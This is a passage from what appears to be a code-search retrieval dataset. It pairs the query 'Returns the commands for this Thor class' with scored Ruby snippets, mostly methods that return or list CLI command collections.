"docid": "c3b84f2b6a1f783778278aaccfa134d9",
"score": "0.5211531",
"text": "def hash\n [id, alternate_id, type, first_name, surname, date_of_brith, date_of_birth, shipping_address, mailing_address, home_phone, mobile_phone, email_address, mailing_address_active, accounts, classifications, member_photo, gender, receive_email, receive_sms, password].hash\n end",
"title": ""
},
{
"docid": "85a8891effa60808fc86700b2cf25410",
"score": "0.5208266",
"text": "def hash\n [created, changed_by, updated, metadata, id, version_id, crm_id, account_id, organization_id, product_id, product_rate_plan_id, parent_id, name, description, type, state, current_period_start, current_period_end, contract_start, subscription_end, current_period_end_explicit, initial_period_start, successful_periods, total_periods, trial_end, dunning, locked, managed_by, version_start, version_end, version_number, credit_enabled, aggregate_all_subscriptions_on_account, pricing_component_values, payment_method_subscription_links, fixed_terms, current_time, time_offset, payment_terms, purchase_order, failed_payment_behaviour].hash\n end",
"title": ""
},
{
"docid": "66258d9a79a0c8a4a8c3d6b67dc10590",
"score": "0.5207063",
"text": "def to_hash\n @configuration_data\n end",
"title": ""
},
{
"docid": "3e92ead69ed6fe09e046d999cf28925a",
"score": "0.5199859",
"text": "def to_jaxb_json_hash\n _h = super\n _h['emailId'] = emailId.to_jaxb_json_hash unless emailId.nil?\n _h['type'] = type.to_jaxb_json_hash unless type.nil?\n _h['value'] = value.to_jaxb_json_hash unless value.nil?\n _h['primary'] = primary.to_jaxb_json_hash unless primary.nil?\n return _h\n end",
"title": ""
},
{
"docid": "43b63539f2fa4fb999ffd64d537c1fdb",
"score": "0.51927567",
"text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Oauth.V1.UserInfoInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "cd2abbc958e2d6fba0930d47208fd20f",
"score": "0.5191956",
"text": "def hash\n to_s.hash\n end",
"title": ""
},
{
"docid": "4bd1d1738f42f3bd20bdf581e436cfff",
"score": "0.5185627",
"text": "def to_json\n to_hash.to_json\n end",
"title": ""
},
{
"docid": "4bd1d1738f42f3bd20bdf581e436cfff",
"score": "0.5185627",
"text": "def to_json\n to_hash.to_json\n end",
"title": ""
}
] |
ff6a6e8cb096823ef2dfbb5deb44bad2 | Returns the commands for this Thor class. | [
{
"docid": "f1d3d037a774980f1be88b90760d5e5b",
"score": "0.69477373",
"text": "def commands\n @commands ||= HashWithIndifferentAccess.new\n end",
"title": ""
}
] | [
{
"docid": "b8271ed1757bf748c36a475db9787319",
"score": "0.8526073",
"text": "def get_commands\n @commands\n end",
"title": ""
},
{
"docid": "4dc9bd7cf5b9a2623370479868431edd",
"score": "0.84855115",
"text": "def commands\n @commands\n end",
"title": ""
},
{
"docid": "4dc9bd7cf5b9a2623370479868431edd",
"score": "0.84855115",
"text": "def commands\n @commands\n end",
"title": ""
},
{
"docid": "9ae0865da373c53f61885101f7bd9ef3",
"score": "0.8467081",
"text": "def commands\n self.class.instance_variable_get(:@commands)\n end",
"title": ""
},
{
"docid": "1eae7a175210637e2479f1087972ff59",
"score": "0.84341234",
"text": "def commands\n\t\t\tself.class.instance_variable_get(:@commands)\n\t\tend",
"title": ""
},
{
"docid": "9735060e22754bb7c17784887a18537d",
"score": "0.83508503",
"text": "def commands\n @commands ||= Foreman::Thor::CoreExt::OrderedHash.new\n end",
"title": ""
},
{
"docid": "d0e64b2100a5b0746bc3f7fa4035c4b7",
"score": "0.8309778",
"text": "def commands()\n return @commands\n end",
"title": ""
},
{
"docid": "6356d19678bfe5792bcf8489422cf7bb",
"score": "0.81915885",
"text": "def commands\n unless defined? @commands\n @commands = []\n end\n return @commands\n end",
"title": ""
},
{
"docid": "7b3f37830a5385197890adb2b02989fd",
"score": "0.81365895",
"text": "def commands\n @commands.map{ |c| c[:name] }\n end",
"title": ""
},
{
"docid": "41b4271e6379f1c602904522190fe361",
"score": "0.8100863",
"text": "def commands\n []\n end",
"title": ""
},
{
"docid": "07c5efeabd4c355e86f17c1a4fb63c98",
"score": "0.8068104",
"text": "def list_commands\n commands = CustomCommands.select(:command).map do |c|\n c.command\n end\n\n commands\n end",
"title": ""
},
{
"docid": "1be8d22bd73d6c3b5488e6e6a08d00a3",
"score": "0.8031366",
"text": "def commands\n @commands ||= []\n end",
"title": ""
},
{
"docid": "1be8d22bd73d6c3b5488e6e6a08d00a3",
"score": "0.8031366",
"text": "def commands\n @commands ||= []\n end",
"title": ""
},
{
"docid": "b6771d79448c346bd19eaec4bc3b546f",
"score": "0.8005279",
"text": "def commands\n []\n end",
"title": ""
},
{
"docid": "8ccd07fe5834dde234abccb2fd915db6",
"score": "0.79726404",
"text": "def commands\n load_commands unless @commands\n @commands\n end",
"title": ""
},
{
"docid": "e8f9e5999a2a755506e9dcb3e18266d5",
"score": "0.7841629",
"text": "def commands\n attributes.fetch(:commands)\n end",
"title": ""
},
{
"docid": "ed53a3e63e142309ecb775d38e1ecf2f",
"score": "0.7776679",
"text": "def commands\n @commands ||= {}\n end",
"title": ""
},
{
"docid": "ed53a3e63e142309ecb775d38e1ecf2f",
"score": "0.7776679",
"text": "def commands\n @commands ||= {}\n end",
"title": ""
},
{
"docid": "03371bf0c8572e9b383b020bbf8539d1",
"score": "0.7775967",
"text": "def commands\n com = \"\"\n @@commands.each do |command, help|\n com << help << \"\\n\"\n end\n com\n end",
"title": ""
},
{
"docid": "bbe9ee106b802d5bbc66fd08e5c144de",
"score": "0.77683985",
"text": "def commands\n\t\tself.class.commands_list.each do |name, description|\n\t\t\tprintf \"#{name.ljust(10)} : #{description}\\n\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9a8de78611d10c7d9dffbcd73b166ed5",
"score": "0.76842",
"text": "def _commands\n []\n end",
"title": ""
},
{
"docid": "5d6cd5ac2d5d465f90ec71ef4c524d4c",
"score": "0.759577",
"text": "def commands\n @commands ||=\n (entities or []).map do |e|\n body[ e['offset']..(e['offset']+e['length']) ]\n .strip.downcase if e['type'] == 'bot_command'\n end.compact\n end",
"title": ""
},
{
"docid": "b37a6386af72c25f1592746b4e96b789",
"score": "0.7573489",
"text": "def available_commands\n classes = self.class.constants.map do |constant|\n constant = constant.to_s.split('::').last\n constant.underscore\n end\n end",
"title": ""
},
{
"docid": "85d5ef8dfd3ace0c5dc03256624676cf",
"score": "0.75685626",
"text": "def commands\n {}\n end",
"title": ""
},
{
"docid": "85d5ef8dfd3ace0c5dc03256624676cf",
"score": "0.75685626",
"text": "def commands\n {}\n end",
"title": ""
},
{
"docid": "1056f53efeb4a989ceabe101cfa60ae4",
"score": "0.7558176",
"text": "def create_commands()\n cmd_list = Array.new\n cmd_list << Command.new('i', 'initialize', nil, 'Initializes a new clean session.', method(:handle_init))\n cmd_list << Command.new('c', 'category', 'NAME', 'Creates a new category', method(:handle_category))\n cmd_list << Command.new('t', 'task', 'NAME', 'Adds a new task to the current category.', method(:handle_task))\n cmd_list << Command.new('d', 'display', nil, 'Displays all the categories', method(:handle_categories))\n cmd_list << Command.new('n', 'now', nil, 'Displays the information for the current category', method(:display_current_category))\n cmd_list << Command.new('h', 'help', nil, 'Displays the help for a command', method(:handle_help))\n\n cmd_list << Command.new('-v', '--version', nil, 'Prints the application version.', method(:show_version))\n cmd_list << Command.new('-h', '--help', nil, 'You are looking at it.', method(:show_help))\n\n cmd_list\n end",
"title": ""
},
{
"docid": "f3d86de66a7b79b3a7d41e8ffec36558",
"score": "0.7554101",
"text": "def commands\n constants.reject { |cs| cs == \"Base\" }.collect { |cs| const_get(cs) }.select { |c| c.kind_of? Class }\n end",
"title": ""
},
{
"docid": "4f0ec16da948b0063ac26e0466b6a53f",
"score": "0.75371814",
"text": "def commands\n return [] unless options['commands']\n\n options['commands'].map do |options|\n result = Command.new options\n result.parents = parents + [name]\n result.parent_command = self\n result\n end\n end",
"title": ""
},
{
"docid": "c4eda87d650e64fc74ae4611effb21e1",
"score": "0.75131327",
"text": "def commands\n logger.info \"Usage: jim [options] [command] [args]\\n\"\n logger.info \"Commands:\"\n logger.info template('commands')\n end",
"title": ""
},
{
"docid": "701bfd921ccdb47ec174efef61744df6",
"score": "0.74332196",
"text": "def commands\n\t\t\t{\n\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "5b0136fe1e92224470c7823e3a9f14c6",
"score": "0.73861957",
"text": "def commands\n render response_ok @container.class::COMMANDS\n end",
"title": ""
},
{
"docid": "6703335d1b41eaea64241ab93b910f0c",
"score": "0.73776746",
"text": "def commands\n result = Hash[\"\" => InterfaceCommands.new(\"\", nil, self.class.commands)]\n each_subcommand do |name, interface, description|\n result[name] = InterfaceCommands.new(\n name, description, interface.commands\n )\n end\n result\n end",
"title": ""
},
{
"docid": "d22beb1328ac2fe1194889a0bbdf7ae9",
"score": "0.73715514",
"text": "def commands\n @commands ||= Array.new\n end",
"title": ""
},
{
"docid": "d22beb1328ac2fe1194889a0bbdf7ae9",
"score": "0.73715514",
"text": "def commands\n @commands ||= Array.new\n end",
"title": ""
},
{
"docid": "c84f493901469dee6df556962fa48f52",
"score": "0.7363796",
"text": "def supported_commands\n []\n end",
"title": ""
},
{
"docid": "c2b77613ae0f0989f25ae0d4cf48dafa",
"score": "0.7353799",
"text": "def commands\n @commands ||= RequestList.new\n end",
"title": ""
},
{
"docid": "5d46662d8ca0081a8b65a891ba3f834c",
"score": "0.7335611",
"text": "def commands\n pmgr = GemPlugin::Manager.instance\n list = pmgr.plugins[\"/commands\"].keys\n return list.sort\n end",
"title": ""
},
{
"docid": "8ffa46f49589cfebc06b72e4fc18812c",
"score": "0.73169434",
"text": "def commands\n @commands ||= {\n 'start' => resource.start_command,\n 'stop' => resource.stop_command,\n 'restart' => resource.restart_command,\n 'refresh' => resource.refresh_command\n }\n end",
"title": ""
},
{
"docid": "e47388f986639704ada4d8ef3383bfaa",
"score": "0.72892445",
"text": "def actions\n @commands.values.flatten\n end",
"title": ""
},
{
"docid": "4ec7afd6054e12b47fe9023201d41544",
"score": "0.7271787",
"text": "def all_commands\n storage[:commands]\n end",
"title": ""
},
{
"docid": "f96f32d4ae614acffea9db2e244e3b88",
"score": "0.7271563",
"text": "def commands\n puts \"Available commands:\"\n puts @commands.join(' ')\n @stop = true\n end",
"title": ""
},
{
"docid": "19f20f8370e243a1fef2c544b75213a1",
"score": "0.7257238",
"text": "def commands\n [name, *aliases].map(&:to_s)\n end",
"title": ""
},
{
"docid": "19f20f8370e243a1fef2c544b75213a1",
"score": "0.7257238",
"text": "def commands\n [name, *aliases].map(&:to_s)\n end",
"title": ""
},
{
"docid": "19f20f8370e243a1fef2c544b75213a1",
"score": "0.7257238",
"text": "def commands\n [name, *aliases].map(&:to_s)\n end",
"title": ""
},
{
"docid": "a40ee09068a6a4391b4e571b7a6db7af",
"score": "0.72495157",
"text": "def commands\n @commands ||= ViteRuby::Commands.new(self)\n end",
"title": ""
},
{
"docid": "a40ee09068a6a4391b4e571b7a6db7af",
"score": "0.72495157",
"text": "def commands\n @commands ||= ViteRuby::Commands.new(self)\n end",
"title": ""
},
{
"docid": "217de173dd874893b911a6e46dfcc3bf",
"score": "0.7232102",
"text": "def available_commands\n return @client.operations\n end",
"title": ""
},
{
"docid": "b76c04df8b78f03baf529a22a0813058",
"score": "0.72122854",
"text": "def commands\n @cmds ||= {}\n end",
"title": ""
},
{
"docid": "50c742d1a3234d9d74381600ad31cfb0",
"score": "0.7193979",
"text": "def command_names\n commands.map(&:name)\n end",
"title": ""
},
{
"docid": "f6364f776a960e875ac1fee5aefb2e0f",
"score": "0.7190448",
"text": "def commands\n\t\tc = {\n\t\t\t\"?\" => \"Help menu\",\n\t\t\t\"background\" => \"Backgrounds the current session\",\n\t\t\t\"close\" => \"Closes a channel\",\n\t\t\t\"channel\" => \"Displays information about active channels\",\n\t\t\t\"exit\" => \"Terminate the ssh session\",\n\t\t\t\"help\" => \"Help menu\",\n\t\t\t\"interact\" => \"Interacts with a channel\",\n\t\t\t\"irb\" => \"Drop into irb scripting mode\",\n\t\t\t\"use\" => \"Deprecated alias for 'load'\",\n\t\t\t\"quit\" => \"Terminate the ssh session\",\n\t\t\t\"run\" => \"Executes a metaSSH script or Post module\",\n\t\t\t\"bgrun\" => \"Executes a metaSSH script as a background thread\",\n\t\t\t\"bgkill\" => \"Kills a background metaSSH script\",\n\t\t\t\"bglist\" => \"Lists running background scripts\",\n\t\t}\n\t\tif (msf_loaded?)\n\t\t\tc[\"info\"] = \"Displays information about a Post module\"\n\t\tend\n\n\t\tc\n\tend",
"title": ""
},
{
"docid": "ee0c6a8ff7b129e33d2079fd096eb0ab",
"score": "0.71731395",
"text": "def all_commands; end",
"title": ""
},
{
"docid": "ba7066321afe2072eaf041d7b7f3d525",
"score": "0.71659744",
"text": "def commands\n version = invoke_and_process(\"JSONRPC.Version\")\n if (version[\"version\"] == 2)\n @commands ||= invoke_and_process(\"JSONRPC.Introspect\", :getdescriptions => true)[:commands].map {|c| Xbmc::Command.new(c)}\n else\n @commands ||= invoke_and_process(\"JSONRPC.Introspect\", :getdescriptions => true)[:methods].map {|c| \n attrList = c.at(1)\n attrList[\"command\"] = c.at(0)\n Xbmc::Command.new(attrList)\n }\n end\n end",
"title": ""
},
{
"docid": "32f526686014d73bcaa46dff2c0b2eb6",
"score": "0.71603346",
"text": "def commands\n\t\t{\n\t\t}\n\tend",
"title": ""
},
{
"docid": "46e4946b1e097c6421fc25068e5e3003",
"score": "0.7155252",
"text": "def commands\n\t\tend",
"title": ""
},
{
"docid": "a69e0758cbc145b2fa7436a9a52bb2e3",
"score": "0.7154436",
"text": "def command_names\n @@commands.keys.map { |c| c.to_s }\n end",
"title": ""
},
{
"docid": "1aba944bfdd15ffc2703fc01ef2c7032",
"score": "0.71453613",
"text": "def commands\n version_commands + support_commands\n end",
"title": ""
},
{
"docid": "06e205394e324729caee9315738bf9c6",
"score": "0.7142356",
"text": "def commands\n Command.where(events: 'on_001')\n end",
"title": ""
},
{
"docid": "badaddeb54081e0c1dc3abd19ea307f3",
"score": "0.7142178",
"text": "def commands\n actions.keys.map do |key| key.to_s.gsub '_', ' '; end\n end",
"title": ""
},
{
"docid": "632f1906c6dce100e43866748177d2e5",
"score": "0.7137872",
"text": "def get_commands\n %w{ choose_forum next_forum prev_forum }\n end",
"title": ""
},
{
"docid": "e32a26ab11079df418c38a0eed80f09d",
"score": "0.7103736",
"text": "def commands\n @commands.map {|h| h[:future] }\n end",
"title": ""
},
{
"docid": "dde237735c034c904c0e67cf444d3e04",
"score": "0.7077755",
"text": "def commands\n {\n }\n end",
"title": ""
},
{
"docid": "ffd52afe221cc4a309e809d5779fd91a",
"score": "0.7068016",
"text": "def commands\n end",
"title": ""
},
{
"docid": "ffd52afe221cc4a309e809d5779fd91a",
"score": "0.7068016",
"text": "def commands\n end",
"title": ""
},
{
"docid": "f32232507192fd16dc0641a70aadce53",
"score": "0.7066864",
"text": "def get_commands(const = Docker::Template::CLI)\n out = base(\n const\n )\n\n const.subcommands.each do |key, command = normalize_command(key)|\n const_list = const.to_namespace.push(command.to_namespace)\n out[command] = send(__method__, Thor::Namespace.resolv(\n const_list\n ))\n end\n\n add_opts(\n out, const\n )\n end",
"title": ""
},
{
"docid": "9a1756729c12241df548b4ea269f6eb8",
"score": "0.70480317",
"text": "def list_commands\n @command_map.keys\n end",
"title": ""
},
{
"docid": "5fb0e7fc1a005d2d1477c8c6185e2560",
"score": "0.7044486",
"text": "def all_commands\n @all_commands ||= from_superclass(:all_commands, Foreman::Thor::CoreExt::OrderedHash.new)\n @all_commands.merge!(commands)\n end",
"title": ""
},
{
"docid": "bf777f2f69e527ed21cf66c3d7773a94",
"score": "0.70097464",
"text": "def commands\n Registry.new.tap do |result|\n @registered.each do |plugin|\n result.merge!(plugin.components.commands)\n end\n end\n end",
"title": ""
},
{
"docid": "d72b3c3546360a7467ea4652dac59fa4",
"score": "0.6974911",
"text": "def find_commands\n\t\treturn self.methods.\n\t\t\tcollect {|mname| mname.to_s }.\n\t\t\tgrep( /^(\\w+)_command$/ ).\n\t\t\tcollect {|mname| mname[/^(\\w+)_command$/, 1] }.\n\t\t\tsort\n\tend",
"title": ""
},
{
"docid": "dbb2ef397e48b62f34a3f9324c41674f",
"score": "0.6964284",
"text": "def verbs\n @commands.keys\n end",
"title": ""
},
{
"docid": "37104a6e742f4af15c7c8deec23d7f7a",
"score": "0.69575197",
"text": "def commands\n settings[:bosh_name] ||= \"unnamed_bosh\"\n\n @commands ||= Bosh::Bootstrap::Commander::Commands.new do |server|\n server.download \"micro-bosh stemcell\", script(\"download_micro_bosh_stemcell\",\n \"MICRO_BOSH_STEMCELL_NAME\" => settings.micro_bosh_stemcell_name,\n \"MICRO_BOSH_STEMCELL_TYPE\" => settings.micro_bosh_stemcell_type,\n \"PROVIDER\" => settings.bosh_provider),\n :settings => settings,\n :save_output_to_settings_key => \"micro_bosh_stemcell_name\"\n end\n end",
"title": ""
},
{
"docid": "7c4308cb204f6e85a3b79e5ed24f1ad3",
"score": "0.69509834",
"text": "def commands\n args.commands.map do |cmd|\n if cmd.respond_to?(:join)\n # a simplified `Shellwords.join` but it's OK since this is only used to inspect\n cmd.map { |c| (c.index(' ') || c.empty?) ? \"'#{c}'\" : c }.join(' ')\n else\n cmd.to_s\n end\n end\n end",
"title": ""
},
{
"docid": "188acf7e25bf155b21005fcf5567cf52",
"score": "0.6911353",
"text": "def command_names\n commands.keys.compact\n end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.6911042",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.6911042",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.6911042",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.6911042",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.6911042",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.6911042",
"text": "def commands; end",
"title": ""
},
{
"docid": "a5bc42fcd3fcdf21515f9f587eb4f403",
"score": "0.690464",
"text": "def commands\r\n\t\t\t\t{\r\n\t\t\t\t\t'shellegram_help'\t\t=> \"Displays help.\",\r\n\t\t\t\t\t'shellegram_start' \t\t=> \"Start Shellegram Plugin after saving settings.\",\r\n\t\t\t\t\t'shellegram_stop' \t\t=> \"Stop monitoring for new sessions.\",\r\n\t\t\t\t\t'shellegram_test' \t\t=> \"Send test message to make sure confoguration is working.\",\r\n\t\t\t\t\t'shellegram_save' \t\t=> \"Save Settings to YAML File #{Shellegram_yaml}.\",\r\n\t\t\t\t\t'shellegram_set_bot_token' \t=> \"Set Telegram bot_token for messages.\",\r\n\t\t\t\t\t'shellegram_set_chat_id' \t=> \"Set Telegram chat_id for messages.\",\r\n\t\t\t\t\t'shellegram_set_source' \t=> \"Set source for identifying the source of the message.\",\r\n\t\t\t\t\t'shellegram_set_user' \t\t=> \"Set your telegram userid to get chat_id.\",\r\n\t\t\t\t\t'shellegram_set_chat_id_by_user'=> \"Use currently user whith bot_token to get chat_id.\",\r\n\t\t\t\t\t'shellegram_show_options' \t=> \"Shows currently set parameters.\",\r\n\t\t\t\t}\r\n\t\t\tend",
"title": ""
},
{
"docid": "c9809f6590ddc37bf54c83960b01db9c",
"score": "0.6888348",
"text": "def commands(*args)\n @commands = [] if @commands == UNSET_VALUE\n\n if args.empty?\n @commands\n else\n @commands << {cmd: args[0], opts: args[1] || {}}\n end\n end",
"title": ""
},
{
"docid": "c6e327b51526abfec67c1d0f84cf2581",
"score": "0.6868971",
"text": "def command\n\t\treturn self.class.command\n\tend",
"title": ""
},
{
"docid": "03448a95211dc43c43c0de9e68e1758e",
"score": "0.6867974",
"text": "def _commands\n cmds = self.class.commands.dup\n if @parent\n if @parent.is_a?(DslBlock)\n cmds += @parent._commands\n else\n cmds += @parent.public_methods\n end\n end\n (cmds + Kernel.methods).uniq\n end",
"title": ""
},
{
"docid": "36a963f3a7ef9dc97b315717edbaf561",
"score": "0.68668115",
"text": "def list_commands(args)\n puts Commands.instance_methods(false).reject { |item| item[/(^list_|exec)/] }\n end",
"title": ""
},
{
"docid": "6ca5ca1b05e357b8a8e7273649224f18",
"score": "0.68627405",
"text": "def commandshash\n return @commandsHash\n end",
"title": ""
},
{
"docid": "cc12139602ac8445ffbbaf93e1381530",
"score": "0.68519205",
"text": "def commands\n all = {\n 'supported_devices' => 'Get supported ZigBee devices',\n 'target' => 'Set the target device id',\n 'channel' => 'Set the channel'\n }\n\n all\n end",
"title": ""
},
{
"docid": "f5c9db93c29477b529e90f383254b11b",
"score": "0.68148464",
"text": "def getCommandPlugins\n return get_plugins_descriptions('Command')\n end",
"title": ""
},
{
"docid": "31b4efa97fe12b60e43dce84d64f270b",
"score": "0.6793732",
"text": "def command_list\n @command_list ||= [\n 'cleanup', 'contents', 'install', 'list', 'open', 'push', 'query', 'read',\n 'specification', 'uninstall', 'unpack', 'update', 'which'\n ]\n end",
"title": ""
},
{
"docid": "75d1048fe800fd93db6d1a0dcc7e9cf2",
"score": "0.6790869",
"text": "def cmd_help\n cmd_names = self.public_methods.find_all {|m| m =~ /^cmd_/}\n cmd_help = cmd_names.map do |cmd|\n cmd_name = cmd.to_s[4..-1]\n help_method = \"help_\"+cmd_name\n cmd_help = \"\"\n cmd_help = self.send help_method if self.respond_to? help_method\n \n cmd_name + \" \" + cmd_help\n end\n\n puts \"These are the currently available commands:\"\n print_indented cmd_help\n self\n end",
"title": ""
},
{
"docid": "6ddbdeb41e726424de0dbeae6e715622",
"score": "0.67876095",
"text": "def commands() = %i[]",
"title": ""
},
{
"docid": "5faa0ff82854ee5c62d0e95d70bd0bad",
"score": "0.6774282",
"text": "def command\n return @command\n end",
"title": ""
},
{
"docid": "bd71ba2acca52d594d9d5eb148e84c91",
"score": "0.6759938",
"text": "def device_commands\n @device_commands ||= []\n end",
"title": ""
},
{
"docid": "7c6e01ca9a86bed19122e702492ae4b7",
"score": "0.6754168",
"text": "def get_commands(view = nil)\n _get('commands', ApiCommand, true, nil, view && { 'view' => view } || nil)\n end",
"title": ""
},
{
"docid": "061c063664f1616a6204831194731868",
"score": "0.67528176",
"text": "def command_list\n\t\tcase @name\n\t\twhen :background then [\n\t\t\t\tCommand.new(:w, @assembly.method(:cursor_move_up)),\n\t\t\t\tCommand.new(:a, @assembly.method(:cursor_move_left)),\n\t\t\t\tCommand.new(:s, @assembly.method(:cursor_move_down)),\n\t\t\t\tCommand.new(:d, @assembly.method(:cursor_move_right)),\n\t\t\t\tCommand.new(:q, @assembly.method(:move_floor_down)),\n\t\t\t\tCommand.new(:e, @assembly.method(:move_floor_up)),\n\t\t\t\t\n\t\t\t\tCommand.new(:space, method(:on_background_select)),\n\t\t\t\tCommand.new(:back_slash, method(:on_background_back))\n\t\t\t]\n\t\twhen :assembly then [\n\t\t\t\tCommand.new(:compile, method(:on_compile_assembly), [String]),\n\t\t\t\tCommand.new(:exit, method(:on_assembly_exit)),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:cancel))\n\t\t\t]\n\t\twhen :room then [\n\t\t\t\tCommand.new(:d, method(:on_room_select_doors)),\n\t\t\t\tCommand.new(:e, method(:on_room_select_events)),\n\t\t\t\tCommand.new(:s, method(:on_room_select_tags)),\n\t\t\t\tCommand.new(:x, method(:on_room_remove)),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:on_room_back))\n\t\t\t]\n\t\twhen :room_tags then [\n\t\t\t\tCommand.new(:e, method(:on_tag_command), [], [:e]),\n\t\t\t\tCommand.new(:x, method(:on_tag_command), [], [:x]),\n\t\t\t\tCommand.new(:c, method(:on_tag_command), [], [:c]),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:cancel))\n\t\t\t]\n\t\twhen :events then [\n\t\t\t\tCommand.new(:space, method(:on_events_select_place)),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:cancel))\n\t\t\t]\n\t\twhen :event_place then [\n\t\t\t\tCommand.new(:i, method(:on_place_event)),\n\t\t\t\tCommand.new(:s, method(:on_place_event), [Integer]),\n\t\t\t\tCommand.new(:x, method(:on_delete_event)),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:cancel))\n\t\t\t]\n\t\twhen :doors then [\n\t\t\t\tCommand.new(:space, method(:on_door_create)),\n\t\t\t\tCommand.new(:w, method(:on_modify_door), [], [SUB_UP]),\n\t\t\t\tCommand.new(:a, method(:on_modify_door), [], [SUB_LEFT]),\n\t\t\t\tCommand.new(:d, method(:on_modify_door), [], [SUB_RIGHT]),\n\t\t\t\tCommand.new(:s, method(:on_modify_door), [], [SUB_DOWN]),\n\t\t\t\tCommand.new(:q, method(:on_modify_door), [], [SUB_BELOW]),\n\t\t\t\tCommand.new(:e, method(:on_modify_door), [], [SUB_ABOVE]),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:cancel))\n\t\t\t]\n\t\twhen :door_edit_dest then [\n\t\t\t\tCommand.new(:w, method(:door_edit), [], [:dest, SUB_UP]),\n\t\t\t\tCommand.new(:a, method(:door_edit), [], [:dest, SUB_LEFT]),\n\t\t\t\tCommand.new(:d, method(:door_edit), [], [:dest, SUB_RIGHT]),\n\t\t\t\tCommand.new(:s, method(:door_edit), [], [:dest, SUB_DOWN]),\n\t\t\t\tCommand.new(:q, method(:door_edit), [], [:dest, SUB_BELOW]),\n\t\t\t\tCommand.new(:e, method(:door_edit), [], [:dest, SUB_ABOVE]),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:on_door_edit_cancel))\n\t\t\t]\n\t\twhen :door_edit_dir then [\n\t\t\t\tCommand.new(:s, method(:door_edit), [], [:dir, 0]),\n\t\t\t\tCommand.new(:d, method(:door_edit), [], [:dir, 1]),\n\t\t\t\tCommand.new(:f, method(:door_edit), [], [:dir, 2]),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:on_door_edit_cancel))\n\t\t\t]\n\t\twhen :door_edit_ls then [\n\t\t\t\tCommand.new(:add, method(:door_edit), [Integer, Integer], [:ls, true]),\n\t\t\t\tCommand.new(:del, method(:door_edit), [Integer], [:ls, false]),\n\t\t\t\t\n\t\t\t\tCommand.new(:d, method(:on_door_complete)),\n\t\t\t\tCommand.new(:back_slash, method(:on_door_edit_cancel))\n\t\t\t]\n\t\twhen :door_edit_all then [\n\t\t\t\tCommand.new(:dir, method(:on_door_all_edit_dir)),\n\t\t\t\tCommand.new(:ls, method(:on_door_all_edit_ls)),\n\t\t\t\tCommand.new(:x, method(:on_door_delete)),\n\t\t\t\t\n\t\t\t\tCommand.new(:back_slash, method(:on_door_complete))\n\t\t\t]\n\t\telse []\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a6fb99e3b68f74cdefc1399191d93177",
"score": "0.674313",
"text": "def commands\n @pipes.map { |pipe| @commands[pipe] }\n end",
"title": ""
},
{
"docid": "1591701524e354f7af79b6fd19e45d79",
"score": "0.67419827",
"text": "def commands\n all = {\n 'supported_idx' => 'suppored USB indexes',\n 'idx' => 'sets an active idx',\n 'freq' => 'sets the frequency',\n 'modulation' => 'sets the modulation',\n 'flen' => 'sets the fixed length packet size',\n 'vlen' => 'sets the variable length packet size',\n 'xmit' => 'transmits some data',\n 'recv' => 'receive a packet of data',\n 'enable_crc' => 'enables crc',\n 'enable_manchester' => 'enables manchester encoding',\n 'channel' => 'sets channel',\n 'channel_bw' => 'sets the channel bandwidth',\n 'baud' => 'sets the baud rate',\n 'deviation' => 'sets the deviation',\n 'sync_word' => 'sets the sync word',\n 'preamble' => 'sets the preamble number',\n 'lowball' => 'sets lowball',\n 'power' => 'sets the power level',\n 'maxpower' => 'sets max power'\n }\n\n all\n end",
"title": ""
},
{
"docid": "73e989e34e96db9da30c9b04dba652b9",
"score": "0.6735451",
"text": "def list_actions\n methods.sort.grep(/_command/).map{|x| x.to_s.gsub(\"_command\", \"\")}.join(\"|\")\n end",
"title": ""
},
{
"docid": "0b1658972a8a126abfd947930807b21d",
"score": "0.67229706",
"text": "def command\n @command\n end",
"title": ""
},
{
"docid": "28608c5245c016aa25308ea4f018860b",
"score": "0.6717218",
"text": "def cmd_help\n cmd_names = self.public_methods.find_all {|m| m =~ /^cmd_/}\n cmd_help = cmd_names.map do |cmd|\n cmd_name = cmd.to_s[4..-1]\n help_method = \"help_\"+cmd_name\n cmd_help = \"\"\n cmd_help = self.send help_method if self.respond_to? help_method\n cmd_name + \" \" + cmd_help\n end\n\n puts \"These are the currently available commands:\"\n print_indented cmd_help\n self\n end",
"title": ""
},
{
"docid": "850e16a80e42c2fe69b07d57126b3672",
"score": "0.67059195",
"text": "def command_list\n\t\tcase @name\n\t\twhen :main_menu then [\n\t\t\t\tCommand.new(:load, method(:on_load), [String]),\n\t\t\t\tCommand.new(:save, method(:on_save), [Integer]),\n\t\t\t\tCommand.new(:crawl, method(:on_crawl), [Integer]),\n\t\t\t\tCommand.new(:assemble, method(:on_assemble), [Integer], [], false, true),\n\t\t\t\t\n\t\t\t\tCommand.new(:delete, method(:on_delete), [Integer]),\n\t\t\t\tCommand.new(:copy, method(:on_copy), [Integer, Integer]),\n\t\t\t\tCommand.new(:print, method(:on_print), [Integer]),\n\t\t\t\t\n\t\t\t\tCommand.new(:exit, method(:on_exit), [])\n\t\t\t]\n\t\telse []\n\t\tend\n\tend",
"title": ""
},
{
"docid": "cc57b14d63e44b9af2744dab62b1ff99",
"score": "0.67033935",
